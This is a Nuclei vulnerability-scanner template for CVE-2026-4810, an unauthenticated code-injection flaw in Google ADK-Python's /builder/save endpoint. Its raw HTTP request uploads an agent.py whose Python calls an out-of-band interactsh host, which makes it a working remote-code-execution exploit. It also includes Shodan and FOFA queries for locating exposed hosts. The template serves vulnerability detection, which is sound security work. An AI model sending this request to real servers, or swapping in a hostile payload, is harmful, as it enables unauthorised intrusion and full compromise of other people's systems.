id: CVE-2026-4810

info:
  name: Google ADK-Python - Unauthenticated Builder Endpoint
  author: dwisiswant0
  severity: critical
  description: |
    Google Agent Development Kit (ADK) 1.7.0 through 1.28.1 and 2.0.0a1 through 2.0.0a2 on Python (OSS), Cloud Run, and GKE contains a code injection and missing authentication vulnerability, letting unauthenticated remote attackers execute arbitrary code on the server, exploit requires no authentication.
  impact: |
    Unauthenticated remote attackers can execute arbitrary code on the server, leading to full system compromise.
  remediation: |
    Upgrade to versions 1.28.1 and 2.0.0a2 or later and redeploy to production and local environments.
  reference:
    - https://github.com/google/adk-python/blob/main/CHANGELOG.md
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/U:Amber
    cvss-score: 9.3
    cve-id: CVE-2026-4810
    epss-score: 0.01816
    epss-percentile: 0.75874
    cwe-id: CWE-306,CWE-94
  metadata:
    verified: true
    max-request: 2
    vendor: google
    product: adk-python
    shodan-query: title:"ADK" http.component:"uvicorn"
    fofa-query: body="ADK" && header="uvicorn"
  tags: cve,cve2026,adk,google,rce,unauth,code-injection

variables:
  multipart_boundary: "{{md5(date_time('2006-01-02T15:04:05Z07:00'))}}"
  agent_name: "{{rand_text_alpha(1)}}{{rand_text_alpha(7)}}"
  rand_instruction: "{{rand_base(12)}}"

http:
  - raw:
      - |
        POST /builder/save HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate, zstd
        Accept: */*
        Connection: keep-alive
        Content-Type: multipart/form-data; boundary={{multipart_boundary}}

        --{{multipart_boundary}}
        Content-Disposition: form-data; name="files"; filename="{{agent_name}}/agent.py"
        Content-Type: text/x-python

        import requests
        response = requests.get("http://{{interactsh-url}}")
        print(response.text)
        from google.adk.agents import Agent
        root_agent = Agent(name="{{agent_name}}", model="gemini-2.0-flash", instruction="{{rand_instruction}}")

        --{{multipart_boundary}}--

      - |
        GET /list-apps?detailed=true HTTP/1.1
        Host: {{Hostname}}
        Connection: close

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - status_code_1 == 200 && body_1 == "true"
          - status_code_2 == 200 && contains(body_2, concat("\"", agent_name, "\""))
        condition: and

      - type: word
        part: interactsh_protocol
        words:
          - dns
# digest: 4a0a0047304502207ee8381f76b4a4397822a4f47785f8129eb334c8483e3134da861b6bdadcd4e6022100c04e6cb65bdfd748be0c48867f930e5778e0afa5923ee4e413e215d4bb3c3588:922c64590222798bb761d5b6d8e72950